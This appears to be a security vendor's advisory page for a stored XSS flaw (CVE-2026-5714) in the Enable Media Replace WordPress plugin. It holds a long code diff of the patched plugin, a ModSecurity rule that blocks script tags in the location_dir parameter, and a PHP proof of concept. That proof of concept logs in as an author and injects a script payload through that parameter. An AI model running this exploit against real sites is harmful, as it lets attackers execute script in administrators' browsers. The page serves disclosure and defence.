-   }
+    return $line;
+  }

-   protected function setLogLevel($level)
-   {
-     $this->logLevel = $level;
-   }
-
-   protected function getEnv($name)
-   {
-     if (isset($this->{$name}))
-     {
-       return $this->{$name};
-     }
-     else {
-       return false;
-     }
-   }
-
-   public static function addError($message, $args = array())
-   {
-      $level = DebugItem::LEVEL_ERROR;
-      $log = self::getInstance();
-      $log->addLog($message, $level, $args);
-   }
-   public static function addWarn($message, $args = array())
-   {
-     $level = DebugItem::LEVEL_WARN;
-     $log = self::getInstance();
-     $log->addLog($message, $level, $args);
-   }
-   // Alias, since it goes wrong so often.
-   public static function addWarning($message, $args = array())
-   {
-      self::addWarn($message, $args);
-   }
-   public static function addInfo($message, $args = array())
-   {
-     $level = DebugItem::LEVEL_INFO;
-     $log = self::getInstance();
-     $log->addLog($message, $level, $args);
-   }
-   public static function addDebug($message, $args = array())
-   {
-     $level = DebugItem::LEVEL_DEBUG;
-     $log = self::getInstance();
-     $log->addLog($message, $level, $args);
-   }
-
-   /** These should be removed every release. They are temporary only for d'bugging the current release */
-   public static function addTemp($message, $args = array())
-   {
-     self::addDebug($message, $args);
-   }
-
-   public static function logLevel($level)
-   {
-      $log = self::getInstance();
-      static::addInfo('Changing Log level' . $level);
-      $log->setLogLevel($level);
-   }
-
-   public static function getLogLevel()
-   {
-     $log = self::getInstance();
-     return $log->getEnv('logLevel');
-   }
-
-   public static function isManualDebug()
-   {
-        $log = self::getInstance();
-        return $log->getEnv('is_manual_request');
-   }
-
-   public static function getLogPath()
-   {
-     $log = self::getInstance();
-     return $log->getEnv('logPath');
-   }
+  protected function setLogLevel($level)
+  {
+    $this->logLevel = $level;
+  }
+
+  protected function getEnv($name)
+  {
+    if (isset($this->{$name})) {
+      return $this->{$name};
+    } else {
+      return false;
+    }
+  }
+
+
+  protected function monitorHooks()
+  {
+
+    foreach ($this->hooks as $hook => $data) {
+      $numargs = isset($data['numargs']) ? $data['numargs'] : 1;
+      $prio = isset($data['priority']) ? $data['priority'] : 10;
+
+      add_filter($hook, function ($value) use ($hook) {
+        $args = func_get_args();
+        return $this->logHook($hook, $value, $args);
+      }, $prio, $numargs);
+    }
+  }
+
+  public function logHook($hook, $value, $args)
+  {
+    array_shift($args);
+    self::addInfo('[Hook] - ' . $hook . ' with ' . var_export($value, true), $args);
+    return $value;
+  }
+
+  public function loadView()
+  {
+    // load either param or class template.
+    $template = $this->template;
+
+    $view = $this->view;
+    $view->namespace = $this->namespace;
+    $controller = $this;
+
+    $template_path = __DIR__ . '/' . $this->template  . '.php';
+    if (file_exists($template_path)) {
+
+      include($template_path);
+    } else {
+      self::addError(
+        "View $template for ShortPixelLogger could not be found in " . $template_path,
+        array('class' => get_class($this))
+      );
+    }
+  }
+
+  public function addMemoryLog($message, $args = array())
+  {
+    if (is_null($this->memoryLimit)) {
+      $this->memoryLimit = $this->unitToInt(ini_get('memory_limit'));
+    }
+
+    $usage = memory_get_usage();
+    $percentage = round(($usage / $this->memoryLimit) * 100, 2);
+    $memmsg = sprintf(
+      "( %s / %s - %s %%)",
+      $this->formatBytes($usage),
+      $this->formatBytes($this->memoryLimit),
+      $percentage
+    );
+    $level = DebugItem::LEVEL_DEBUG;
+    $this->addLog($message . ' ' . $memmsg, $level, $args);
+  }
+
+  private function unitToInt($s)
+  {
+    return (int)preg_replace_callback('/(-?d+)(.?)/', function ($m) {
+      return $m[1] * pow(1024, strpos('BKMG', $m[2]));
+    }, strtoupper($s));
+  }
+
+  private function formatBytes($size, $precision = 2)
+  {
+    $base = log($size, 1024);
+    $suffixes = array('', 'K', 'M', 'G', 'T');
+
+    if (0 === $size) {
+      return 0;
+    }
+
+    $calculation = pow(1024, $base - floor($base));
+    if (is_nan($calculation)) {
+      return 0;
+    }
+
+    return round($calculation, $precision) . ' ' . $suffixes[floor($base)];
+  }
+
+  public static function addError($message, $args = array())
+  {
+    $level = DebugItem::LEVEL_ERROR;
+    $log = self::getInstance();
+    $log->addLog($message, $level, $args);
+  }
+  public static function addWarn($message, $args = array())
+  {
+    $level = DebugItem::LEVEL_WARN;
+    $log = self::getInstance();
+    $log->addLog($message, $level, $args);
+  }
+  // Alias, since it goes wrong so often.
+  public static function addWarning($message, $args = array())
+  {
+    self::addWarn($message, $args);
+  }
+  public static function addInfo($message, $args = array())
+  {
+    $level = DebugItem::LEVEL_INFO;
+    $log = self::getInstance();
+    $log->addLog($message, $level, $args);
+  }
+  public static function addDebug($message, $args = array())
+  {
+    $level = DebugItem::LEVEL_DEBUG;
+    $log = self::getInstance();
+    $log->addLog($message, $level, $args);
+  }
+
+  /**
+   * Adds a trace for debuggins.
+   * @param String  $message       Description
+   * @param integer  $amount        Amount of lines needed.
+   * @param integer $debug_option  Debug backtrace ( default IGNORE_ARGS, see docs )
+   */
+  public static function addTrace($message, $amount = 10, $debug_option = 2)
+  {
+    $trace = debug_backtrace($debug_option, $amount);
+    $log = self::getInstance();
+    $log->addLog($message, DebugItem::LEVEL_DEBUG, $trace);
+  }
+
+  public static function addMemory($message, $args = array())
+  {
+    $log = self::getInstance();
+    $log->addMemoryLog($message, $args);
+  }
+
+  /** These should be removed every release. They are temporary only for d'bugging the current release */
+  public static function addTemp($message, $args = array())
+  {
+    self::addDebug($message, $args);
+  }
+
+  public static function logLevel($level)
+  {
+    $log = self::getInstance();
+    static::addInfo('Changing Log level' . $level);
+    $log->setLogLevel($level);
+  }
+
+  public static function getLogLevel()
+  {
+    $log = self::getInstance();
+    return $log->getEnv('logLevel');
+  }
+
+  public static function isManualDebug()
+  {
+    $log = self::getInstance();
+    return $log->getEnv('is_manual_request');
+  }
+
+  public static function getLogPath()
+  {
+    $log = self::getInstance();
+    return $log->getEnv('logPath');
+  }

-   /** Function to test if the debugger is active
+  /** Function to test if the debugger is active
    * @return boolean true when active.
    */
-   public static function debugIsActive()
-   {
-      $log = self::getInstance();
-      return $log->getEnv('is_active');
-   }
-
-   protected function monitorHooks()
-   {
-
-      foreach($this->hooks as $hook => $data)
-      {
-        $numargs = isset($data['numargs']) ? $data['numargs'] : 1;
-        $prio = isset($data['priority']) ? $data['priority'] : 10;
-
-        add_filter($hook, function($value) use ($hook) {
-              $args = func_get_args();
-              return $this->logHook($hook, $value, $args); }, $prio, $numargs);
-      }
-   }
-
-   public function logHook($hook, $value, $args)
-   {
-      array_shift($args);
-      self::addInfo('[Hook] - ' . $hook . ' with ' . var_export($value,true), $args);
-      return $value;
-   }
-
-   public function loadView()
-   {
-       // load either param or class template.
-       $template = $this->template;
-
-       $view = $this->view;
-       $view->namespace = $this->namespace;
-       $controller = $this;
-
-       $template_path = __DIR__ . '/' . $this->template  . '.php';
-       if (file_exists($template_path))
-       {
-
-         include($template_path);
-       }
-       else {
-         self::addError("View $template for ShortPixelLogger could not be found in " . $template_path,
-         array('class' => get_class($this)));
-       }
-   }
-
-
- } // class debugController
+  public static function debugIsActive()
+  {
+    $log = self::getInstance();
+    return $log->getEnv('is_active');
+  }
+} // class debugController
--- a/enable-media-replace/build/shortpixel/notices/src/NoticeController.php
+++ b/enable-media-replace/build/shortpixel/notices/src/NoticeController.php
@@ -7,6 +7,7 @@
   protected static $notices = array();
   protected static $instance = null;
   protected static $cssHookLoaded = false; // prevent css output more than once.
+	protected static $newNotices = [];  // notices added this PHP run (to get them if needed)

   protected $notice_displayed = array();

@@ -107,6 +108,7 @@
         }
       }
       self::$notices[] = $notice;
+			self::$newNotices[] = $notice;
       $this->countNotices();

       $this->update();
@@ -151,6 +153,11 @@
       return self::$notices;
   }

+	public function getNewNotices()
+	{
+		 return self::$newNotices;
+  }
+
   public function getNoticesForDisplay()
   {
       $newNotices = array();
@@ -180,6 +187,7 @@
   }


+
   public function getNoticeByID($id)
   {
     foreach(self::$notices as $notice)
@@ -217,10 +225,10 @@
        if (isset($_POST['plugin_action']) && 'dismiss' == $_POST['plugin_action'] )
        {
           $id = (isset($_POST['id'])) ? sanitize_text_field( wp_unslash($_POST['id'])) : null;
+          $type = (isset($_POST['dismisstype'])) ? sanitize_text_field($_POST['dismisstype']) : 'dismiss';

 					if (! is_null($id))
 					{
-
           	$notice = $this->getNoticeByID($id);
 					}
 					else
@@ -230,9 +238,18 @@

           if(false !== $notice)
           {
-            $notice->dismiss();
-            $this->update();
+            if ($type == 'remove')
+            {
+                  self::removeNoticeByID($id);
+                  $response['removed'] = true;
+            }
+            else {
+              $notice->dismiss();
+              $this->update();
+              $response['dismissed'] = true;
+            }
             $response['result'] = true;
+
           }
           else
           {
@@ -287,7 +304,6 @@
     $noticeController = self::getInstance();
     $notice = $noticeController->addNotice($message, NoticeModel::NOTICE_SUCCESS, $unique);
     return $notice;
-
   }

   public static function addDetail($notice, $detail)
@@ -295,8 +311,6 @@
     $noticeController = self::getInstance();
     $notice->addDetail($detail);

-//   $notice_id = spl_object_id($notice);
-
     $noticeController->update();
   }

@@ -304,7 +318,7 @@
   * @param $notice NoticeModel The Notice to make Persistent
   * @param $key String Identifier of the persistent notice.
   * @param $suppress Int  When dismissed, time to stay dismissed
-  * @param $callback Function Callable function
+  * @param $callback Function Callable function - Seems not implemented atm ?
   */
   public static function makePersistent($notice, $key, $suppress = -1, $callback = null)
   {
--- a/enable-media-replace/build/shortpixel/notices/src/NoticeModel.php
+++ b/enable-media-replace/build/shortpixel/notices/src/NoticeModel.php
@@ -145,7 +145,6 @@
 	}


-
   /** Set a notice persistent. Meaning it shows every page load until dismissed.
   * @param $key Unique Key of this message. Required
   * @param $suppress When dismissed do not show this message again for X amount of time. When -1 it will just be dropped from the Notices and not suppressed
@@ -268,26 +267,28 @@
     }

     $id = ! is_null($this->id) ?  $this->id : uniqid();
-    //'id="' . $this->id . '"'
-    $output = "<div id='$id' class='$class'><span class='icon'> " . $icon . "</span> <span class='content'>" . $this->message;
+
+    $output = sprintf('<div id="%s" class="%s"><span class="icon">%s</span><span class="content">%s', $id, $class, $icon,$this->message);
+
     if ($this->hasDetails())
     {
-      $output .= '<div class="details-wrapper">
-      <input type="checkbox" name="detailhider" id="check-' . $id .'">
-      <label for="check-' . $id . '"  class="show-details"><span>' . __('See Details', 'enable-media-replace/')   . '</span>
-      </label>';

-      $output .= "<div class='detail-content-wrapper'><p class='detail-content'>" . $this->parseDetails() . "</p></div>";
-      $output .= '<label for="check-' . $id . '" class="hide-details"><span>' . __('Hide Details', 'enable-media-replace/') . '</span></label>';
+      $details = sprintf('<div class="details-wrapper">
+            <input type="checkbox" name="detailhider" id="check-%s">
+            <label for="check-%s"  class="show-details"><span>%s</span>
+            </label>
+             <div class="detail-content-wrapper"><p class="detail-content">%s</p></div>
+          <label for="check-%s" class="hide-details"><span>%s</span></label>
+            </div>', $id, $id, __('See Details', 'enable-media-replace/'), $this->parseDetails(), $id, __('Hide Details', 'enable-media-replace/') );

-      $output .= '</div>'; // detail wrapper
+      $output .= $details;

     }
     $output .= "</span>";

     if ($this->is_removable)
     {
-			      $output .= '<button type="button" id="button-' . $id . '" class="notice-dismiss" data-dismiss="' . $this->suppress_period . '" ><span class="screen-reader-text">' . __('Dismiss this notice', 'enable-media-replace/') . '</span></button>';
+        $output .= sprintf('<button type="button" id="button-%s" class="notice-dismiss" data-dismiss="%s" ><span class="screen-reader-text">%s</span></button>', $id,  $this->suppress_period, __('Dismiss this notice', 'enable-media-replace/') );

        if (! $this->is_persistent)
        {
@@ -311,7 +312,6 @@
         $output .= "<script type='text/javascript'>n" . $this->getDismissJS() . "n</script>";
     }
     return $output;
-
   }

   protected function hasDetails()
@@ -337,14 +337,26 @@
           $url = wp_json_encode(admin_url('admin-ajax.php'));
           $js = "function shortpixel_notice_dismiss(event) {
                     event.preventDefault();
-                    var ev = event.detail;
                     var target = event.target;
-                    var parent = target.parentElement;
+                    if (target.tagName !== 'button') // tricky this
+                    {
+                        target = target.closest('button');
+                    }
+                    var parent = target.closest('.shortpixel-notice');
+
+                    if (target.hasAttribute('data-dismisstype'))
+                    {
+                       var type = target.getAttribute('data-dismisstype');
+                    }
+                    else {
+                       var type = 'dismiss';
+                    }

                     var data = {
                       'plugin_action': 'dismiss',
                       'action' : '$this->notice_action',
                       'nonce' : '$nonce',
+                      'dismisstype' : type,
                     }
                     data.time = target.getAttribute('data-dismiss');
                     data.id = parent.getAttribute('id');
@@ -358,7 +370,8 @@
           }";
       }

-      $js .=  ' jQuery("#' . $this->id . '").find(".notice-dismiss").on("click", shortpixel_notice_dismiss); ';
+      // This all needs to be formalized in a better script, regardless of class, also in proper scope.
+      $js .=  ' jQuery("#' . $this->id . '").find(".notice-dismiss, .notice-dismiss-action").on("click", shortpixel_notice_dismiss); ';

       return "n jQuery(document).ready(function(){ n" . $js . "n});";
   }
--- a/enable-media-replace/build/shortpixel/replacer/src/Modules/Breakdance.php
+++ b/enable-media-replace/build/shortpixel/replacer/src/Modules/Breakdance.php
@@ -0,0 +1,136 @@
+<?php
+namespace EnableMediaReplaceReplacerModules;
+use EnableMediaReplaceShortPixelLoggerShortPixelLogger as Log;
+
+
+class Breakdance
+{
+    private static $instance;
+    protected $queryKey = 'breakdance';
+
+    public static function getInstance()
+    {
+        if (is_null(self::$instance))
+          self::$instance = new static();
+
+        return self::$instance;
+    }
+
+    public function __construct()
+    {
+      if (has_action('breakdance_loaded'))   // elementor is active
+      {
+         if ($this->checkRequiredFunctions())
+         {
+               add_filter('emr/replacer/custom_replace_query', array($this, 'addBreakdance'), 10, 4);
+				       add_filter('emr/replacer/load_meta_value', array($this, 'loadContent'),10,3);
+               add_filter('emr/replacer/save_meta_value', array($this, 'saveContent'), 10,3);
+          }
+          else {
+              add_filter('emr/replacer/load_meta_value', array($this, 'abortOnContent'),10,3);
+          }
+     }
+    }
+
+    // This integration uses several Breakdance functions.  Don't something if this dance breaks somehow
+    public function checkRequiredFunctions()
+    {
+        $functions = [
+          'BreakdanceDataget_tree',
+          'BreakdanceDataencode_before_writing_to_wp',
+          'BreakdanceDataget_global_option',
+          'BreakdanceDatasave_document'
+        ];
+
+        foreach($functions as $function)
+        {
+           if (false === function_exists($function))
+           {
+              Log::addWarn('Replacer breakdance module cannot find ' . $function);
+              return false;
+           }
+
+        }
+
+        return true;
+    }
+
+		public function addBreakdance($items, $base_url, $search_urls, $replace_urls)
+		{
+
+			$base_url = $this->addSlash($base_url);
+			$el_search_urls = $search_urls; //array_map(array($this, 'addslash'), $search_urls);
+			$el_replace_urls = $replace_urls; //array_map(array($this, 'addslash'), $replace_urls);
+			//$args = [('json_flags' => 0, 'component' => $this->queryKey];
+      $args = ['component' => $this->queryKey, 'replacer_do_save' => false, 'replace_no_serialize' => true];
+			$items[$this->queryKey] = array('base_url' => $base_url, 'search_urls' => $el_search_urls, 'replace_urls' => $el_replace_urls, 'args' => $args);
+			return $items;
+
+		}
+
+		// @todo This function is duplicated w/ elementor, so possibly at some point needs a Module main class for utils.
+		public function addSlash($value)
+    {
+        global $wpdb;
+        $value= ltrim($value, '/'); // for some reason the left / isn't picked up by Mysql.
+        $value= str_replace('/', '/', $value);
+        $value =  $wpdb->esc_like(($value)); //(wp_slash) / str_replace('/', '/', $value);
+
+        return $value;
+    }
+
+		public function loadContent($content, $meta_row, $component)
+		{
+        if ($component !== $this->queryKey)
+        {
+           return $content;
+        }
+
+        Log::addTemp('using tree loader');
+
+        $meta_id = $meta_row['meta_id'];
+        $post_id = $meta_row['post_id'];
+
+        $result = BreakdanceDataget_tree($post_id);
+        if (false === $result)
+        {
+           Log::addWarn("Breakdance integration: Tree returns as false");
+           return null;
+        }
+
+        return $result;
+		}
+
+    public function saveContent($content, $meta_row, $component)
+    {
+      if ($component !== $this->queryKey)
+      {
+         return $content;
+      }
+
+      $global = BreakdanceDataget_global_option('global_settings_json_string');
+
+      $content = json_encode($content, JSON_UNESCAPED_SLASHES);
+      BreakdanceDatasave_document($content, $global, null, $meta_row['post_id']);
+
+      /*  return BreakdanceDataencode_before_writing_to_wp([
+          'tree_json_string' => $content,
+        ], true); */
+
+       return $content;
+    }
+
+    // If something is wrong with breakdance, don't replace content for it since it breaks the whole page content.
+    public function abortOnContent($content, $meta_row, $component)
+    {
+      if ($component !== $this->queryKey)
+      {
+         return $content;
+      }
+
+      return null;
+    }
+
+
+
+} //  class
--- a/enable-media-replace/build/shortpixel/replacer/src/Modules/Elementor.php
+++ b/enable-media-replace/build/shortpixel/replacer/src/Modules/Elementor.php
@@ -19,7 +19,7 @@
     {
       if ($this->elementor_is_active())   // elementor is active
       {
-        add_filter('shortpixel/replacer/custom_replace_query', array($this, 'addElementor'), 10, 4); // custom query for elementor  // problem
+        add_filter('emr/replacer/custom_replace_query', array($this, 'addElementor'), 10, 4); // custom query for elementor  // problem
 				// @todo Fix this for SPIO
         //add_action('enable-media-replace-upload-done', array($this, 'removeCache') );
       }
--- a/enable-media-replace/build/shortpixel/replacer/src/Modules/WpBakery.php
+++ b/enable-media-replace/build/shortpixel/replacer/src/Modules/WpBakery.php
@@ -19,7 +19,7 @@
     {
       if ($this->bakery_is_active())   // elementor is active
       {
-        add_filter('shortpixel/replacer/custom_replace_query', array($this, 'addURLEncoded'), 10, 4); // custom query for elementor  // problem
+        add_filter('emr/replacer/custom_replace_query', array($this, 'addURLEncoded'), 10, 4); // custom query for elementor  // problem
       }
     }

--- a/enable-media-replace/build/shortpixel/replacer/src/Modules/YoastSeo.php
+++ b/enable-media-replace/build/shortpixel/replacer/src/Modules/YoastSeo.php
@@ -24,7 +24,7 @@
 			 global $wpdb;
 			 $this->yoastTable = $wpdb->prefix . 'yoast_indexable';

-			 add_action('shortpixel/replacer/replace_urls', array($this, 'removeIndexes'),10,2);
+			 add_action('emr/replacer/replace_urls', array($this, 'removeIndexes'),10,2);
 		}
 	}

--- a/enable-media-replace/build/shortpixel/replacer/src/Replacer.php
+++ b/enable-media-replace/build/shortpixel/replacer/src/Replacer.php
@@ -19,6 +19,15 @@
 	protected $source_metadata = array();
 	protected $target_metadata = array();

+	private $default_replace_settings = array(
+			'component' => 'unset',
+			'json_flags' => JSON_UNESCAPED_SLASHES,
+			'replacer_do_save' => true,
+			'replace_no_serialize' => false,
+	);
+
+	private $replace_settings;
+
 	public function __construct()
 	{
 		  //$this->source_url = $source_url;
@@ -32,6 +41,7 @@
 			ModulesElementor::getInstance();
 			ModulesWpBakery::getInstance();
 			ModulesYoastSeo::getInstance();
+			ModulesBreakdance::getInstance();
 	}

 	public function setSource($url)
@@ -78,23 +88,25 @@
 			$errors = array();
 	    $args = wp_parse_args($args, $defaults);

+			$this->setReplaceSettings(['component' => 'emr']); // set to defaults.
+
 	     // Search-and-replace filename in post database
 	     // @todo Check this with scaled images.
 	 		$base_url = parse_url($this->source_url, PHP_URL_PATH);// emr_get_match_url( $this->source_url);
 	    $base_url = str_replace('.' . pathinfo($base_url, PATHINFO_EXTENSION), '', $base_url);

 	    /** Fail-safe if base_url is a whole directory, don't go search/replace */
-	    if (is_dir($base_url))
+	    if (false === $this->fileIsRestricted($base_url) && is_dir($base_url))
 	    {
 	      Log::addError('Search Replace tried to replace to directory - ' . $base_url);
-				$errors[] = __('Fail Safe :: Source Location seems to be a directory.', 'enable-media-replace');
+				$errors[] = __('Fail Safe :: Source Location seems to be a directory.', 'enable-media-replace/');
 	      return $errors;
 	    }

 	    if (strlen(trim($base_url)) == 0)
 	    {
 	      Log::addError('Current Base URL emtpy - ' . $base_url);
-	      $errors[] = __('Fail Safe :: Source Location returned empty string. Not replacing content','enable-media-replace');
+	      $errors[] = __('Fail Safe :: Source Location returned empty string. Not replacing content','enable-media-replace/');
 	      return $errors;
 	    }

@@ -178,16 +190,26 @@
 	    Log::addDebug('Doing meta search and replace -', array($search_urls, $replace_urls) );
 	    Log::addDebug('Searching with BaseuRL ' . $base_url);

-	    do_action('shortpixel/replacer/replace_urls', $search_urls, $replace_urls);
+	    do_action('emr/replacer/replace_urls', $search_urls, $replace_urls);
 	    $updated = 0;

 	    $updated += $this->doReplaceQuery($base_url, $search_urls, $replace_urls);

-	    $replaceRuns = apply_filters('shortpixel/replacer/custom_replace_query', array(), $base_url, $search_urls, $replace_urls);
-	    Log::addDebug("REPLACE RUNS", $replaceRuns);
+	    $replaceRuns = apply_filters('emr/replacer/custom_replace_query', array(), $base_url, $search_urls, $replace_urls);
+
 	    foreach($replaceRuns as $component => $run)
 	    {
 	       Log::addDebug('Running additional replace for : '. $component, $run);
+
+				 // @todo This could perhaps benefit from a more general approach somewhere in class for settings.
+				 if (isset($run['args']))
+				 {
+						// Update current settings for this run only.
+						$this->setReplaceSettings($run['args']);
+				 }
+				 else {
+						$this->setReplaceSettings();
+				 }
 	       $updated += $this->doReplaceQuery($run['base_url'], $run['search_urls'], $run['replace_urls']);
 	    }

@@ -245,77 +267,128 @@
 	  {
 	    global $wpdb;

-	    $meta_options = apply_filters('shortpixel/replacer/metadata_tables', array('post', 'comment', 'term', 'user'));
+	    $meta_options = apply_filters('emr/replacer/metadata_tables', array('post', 'comment', 'term', 'user', 'options'));
 	    $number_of_updates = 0;

-	    foreach($meta_options as $type)
-	    {
-	        switch($type)
+			$meta_default = [
+					'id' => 'meta_id',
+					'value' => 'meta_value',
+			];
+
+			$table_options = [
+					'postmeta' => $meta_default,
+					'commentmeta' => $meta_default,
+					'termmeta' => $meta_default,
+					'usermeta' => $meta_default,
+					'options' => [
+							'id' => 'option_id',
+							'value' => 'option_value',
+					]
+
+			];
+
+			$table_options = apply_filters('emr/replacer/replacement_tables', $table_options );
+
+			// Exeception in user meta table.
+			$table_options['usermeta']['id'] = 'umeta_id';
+
+	    foreach($table_options as $table => $data)
+	    {
+				 	// These must be always defined.
+					$id_field = esc_sql($data['id']);
+					$value_field = esc_sql($data['value']);
+
+	        switch($table)
 	        {
-	          case "post": // special case.
-	              $sql = 'SELECT meta_id as id, meta_key, meta_value FROM ' . $wpdb->postmeta . '
+	          case "postmeta": // special case.
+	              $sql = 'SELECT * FROM ' . $wpdb->postmeta . '
 	                WHERE post_id in (SELECT ID from '. $wpdb->posts . ' where post_status in ("publish", "future", "draft", "pending", "private") ) AND meta_value like %s';
 	              $type = 'post';

 	              $update_sql = ' UPDATE ' . $wpdb->postmeta . ' SET meta_value = %s WHERE meta_id = %d';
 	          break;
 	          default:
-	              $table = $wpdb->{$type . 'meta'};  // termmeta, commentmeta etc
-
-	              $meta_id = 'meta_id';
-	              if ($type == 'user')
-	                $meta_id = 'umeta_id';
+	              $wp_table = $wpdb->{$table}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5714
# Blocks XSS attacks via the location_dir parameter in Enable Media Replace plugin
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" 
  "id:20265714,phase:2,deny,status:403,chain,msg:'CVE-2026-5714 XSS via location_dir parameter',severity:'2',tag:'CVE-2026-5714',tag:'wordpress',tag:'xss'"
  SecRule ARGS_GET:page "@streq enable-media-replace" 
    "chain"
    SecRule ARGS_GET:location_dir "@rx <script[^>]*>" 
      "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5714 - Enable Media Replace <= 4.1.8 - Authenticated (Author+) Stored XSS via 'location_dir' Parameter

// Configuration - Change these values
$target_url = 'http://example.com'; // WordPress installation URL
$username = 'author'; // Author-level or higher account
$password = 'password';

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Login to WordPress with author credentials
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('[-] Login failed. Check credentials.');
}
echo "[+] Logged in successfully as: $usernamen";

// Step 2: Upload a media file (image) to have something to replace
$image_url = $target_url . '/wp-admin/async-upload.php';
$image_data = array(
    'async-upload' => curl_file_create(__FILE__, 'image/png', 'poc_image.png'),
    'name' => 'poc_image.png',
    '_wpnonce' => '', // We'll need to get the nonce from the media-new.php page
);

// Fetch the media-new.php page to get the upload nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/media-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$upload_page = curl_exec($ch);

// Extract nonce from the page (simplified - in reality may need regex)
preg_match('/id="_wpnonce" value="([^"]+)"/', $upload_page, $matches);
if (!isset($matches[1])) {
    echo "[-] Could not find upload nonce, skipping file upload.n";
    echo "[+] Proceeding with XSS exploitation on the replacement dialog.n";
} else {
    $image_data['_wpnonce'] = $matches[1];
    // Upload the file
    curl_setopt($ch, CURLOPT_URL, $image_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $image_data);
    $upload_response = curl_exec($ch);
    echo "[+] File uploaded.n";
}

// Step 3: Access the media replacement interface with malicious location_dir
// The EMR plugin creates a page at /wp-admin/upload.php?page=enable-media-replace
$replace_url = $target_url . '/wp-admin/upload.php?page=enable-media-replace&action=media_replace';

// First, get a valid attachment ID from the media library
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/upload.php');
curl_setopt($ch, CURLOPT_POST, false);
$media_page = curl_exec($ch);

// Extract attachment ID from the media library (simplified)
preg_match('/<a[^>]*href="[^"]*post=([0-9]+)[^"]*"[^>]*class="edit-attachment"/', $media_page, $id_matches);
if (!isset($id_matches[1])) {
    echo "[-] Could not find attachment ID in media library.n";
    die();
}
$attachment_id = $id_matches[1];
echo "[+] Found attachment ID: $attachment_idn";

// Step 4: Access the replace screen with XSS payload in location_dir
$xss_payload = 'wp-content/uploads/2026<script>alert("XSS_CVE_2026_5714")</script>';
$replace_screen_url = $target_url . '/wp-admin/upload.php?page=enable-media-replace&action=media_replace&attachment_id=' . $attachment_id . '&location_dir=' . urlencode($xss_payload);

curl_setopt($ch, CURLOPT_URL, $replace_screen_url);
curl_setopt($ch, CURLOPT_POST, false);
$replace_screen = curl_exec($ch);

if (strpos($replace_screen, $xss_payload) !== false) {
    echo "[+] XSS payload found in the response!n";
    echo "[+] The stored XSS will execute in the browser of any admin viewing the file browser.n";
    echo "[+] Payload: $xss_payloadn";
} else {
    echo "[-] XSS payload not reflected. The vulnerability may have been patched or the parameter name is different.n";
}

curl_close($ch);
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School